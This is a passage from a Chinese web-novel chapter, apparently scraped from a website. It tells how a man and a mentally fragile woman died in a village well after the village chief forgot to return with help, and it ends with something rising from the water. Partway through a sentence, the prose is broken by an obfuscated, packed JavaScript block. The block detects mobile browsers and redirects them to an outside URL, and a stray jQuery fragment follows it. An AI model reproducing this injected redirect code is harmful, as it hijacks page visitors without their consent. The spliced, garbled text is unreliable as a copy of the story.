但现在这个情况也不是很好,齐富庆虽然抓住了齐瑗,但在重力和惯性的作用下,他整个人几乎一大半都探进了井里,他一只手抓着齐瑗,另一只手死死掐住井边。 “有没有人啊,救命!”齐富庆死命喊着。 没有人回应,那几个大汉根本就没关心这里,边笑边往村外走远了。 齐富庆绝望了,齐瑗却害怕得一直挣扎,两个人摇摇欲坠。 这口井当时打的时候为了出水挖的就挺深的,而且为了追求速度,边边角角都没弄好,水面离井口老远了,算是一口“危井”。 齐富庆死死抓住,但还是感觉自己的力气在一点点消散。 “谁在那?这是怎么了!”村长的这句话简直就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475255|201469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救命药。 齐富庆大声喊:“是我!齐富庆。村长,你出去找几个有力气的人过来,我和阿绅家的那个妹妹不小心掉进井里了,你速度得快,我坚持不了多久了!” 村长尝试着把齐富庆拉出来,但他已经老了,根本拉不动,听到齐富庆的话,他赶紧点点头,往村子里跑回去。 阿绅哥的话突然停了,宜姜困惑地看向他,梅询出声问:“然后呢?” “然后?”阿绅哥冷笑了一声,“这就要问我们的村长了!” 村长又低下了头,沉默着。 “你说话啊!”阿绅哥怒吼。 村长闭着眼睛痛苦地摇头。 “懦夫。”阿绅哥冷哼了一声,“他忘记了,他才进村子里就把这件事情忘记了。当时他路过我家的时候,我还和他打过招呼,谁知道他把两条人命给忘记了!” 这个走向谁也想不到,梅询小声开口:“村长得老年痴呆了?” 宜姜也皱皱巴巴一张脸,她还以为是村长在拉他们的过程里不小心把人带进去了,结果居然只是村长忘记了。 “等我收拾好东西回到西瓜地里的时候,迟迟找不到人,我有了非常不好的预感,站在水井边往下面一看,井壁的石头上挂着血,两个人全死了。” “齐瑗!她才从那个阴影里走出来,结果就因为这些人死在了回家的终点处。还有齐大哥,我知道他的日子也才刚刚好起来,但这一切都是因为这个人!”阿绅哥说到激动处,死死盯着村长,但下一秒又像失去所有力气一样垂下头。 梅询看着不讲话的阿绅哥,不合时宜地开口:“然后呢?” 阿绅哥抬起头,眼神空洞地看向梅询:“一男一女掉进了井里,村子里的人会乱说话的,当时我也不知道究竟发生了什么,于是我把阿瑗从井里弄了出来,毕竟他们都不知道阿瑗回来了。齐大哥,我没办法去弄,他要是失踪了,村子里一下子都会发现的。” “阿瑗被我弄出来之后,我也不知道该怎么办,只好把她暂时放在我爸妈的坟里,至少死后一家三口终于是团聚了。” 宜姜神色悲悯,看着心如死灰的阿绅哥,二十多年的不断寻找,却在最接近幸福团圆的那一刻毁灭了。 而且,这件事情里该怪谁呢? 怪齐瑗非要在西瓜地里待着不肯走吗?怪齐富庆说好会照顾好齐瑗却没拉住她吗?怪迎面走来什么事也没做的几个大汉吗?怪努力回村子里找人却因为老年痴呆忘记了的村长吗?还是怪明明知道齐瑗精神不稳定却还放任她在外面的齐绅吗? 光是想想,宜姜都能体会到那种绝望,更不用说事情的当事人了。 “那齐富庆的坟呢?”梅询虽然也很同情齐绅,但现在还是解决事情最重要。 阿绅哥回过神:“没有坟了,我怕后续有人来挖坟看出什么,就把他火化之后撒进那口井里了。” 宜姜也很快整理好情绪,她细细想了一遍阿绅哥的话,是个很伤感的故事,但关于那些会感染人的东西,他却一点都没说。 “然后,那些会让人失去理智只会撕咬的东西你又是从哪来的?”宜姜指了指附近的那个坟堆。 阿绅哥却眉头一紧:“我处理好阿瑗的事情之后,在井边站了很久很久,齐大哥家里只剩下一个爹了,我都不敢想象他知道自己儿子没了之后的崩溃。” 说到这,他顿了一下,接着神色惊悚起来:“我在井边待了很久很久,正要准备回去的时候,井里传来了什么动静,我往那靠了靠。” “有什么东西从井水里出来了。”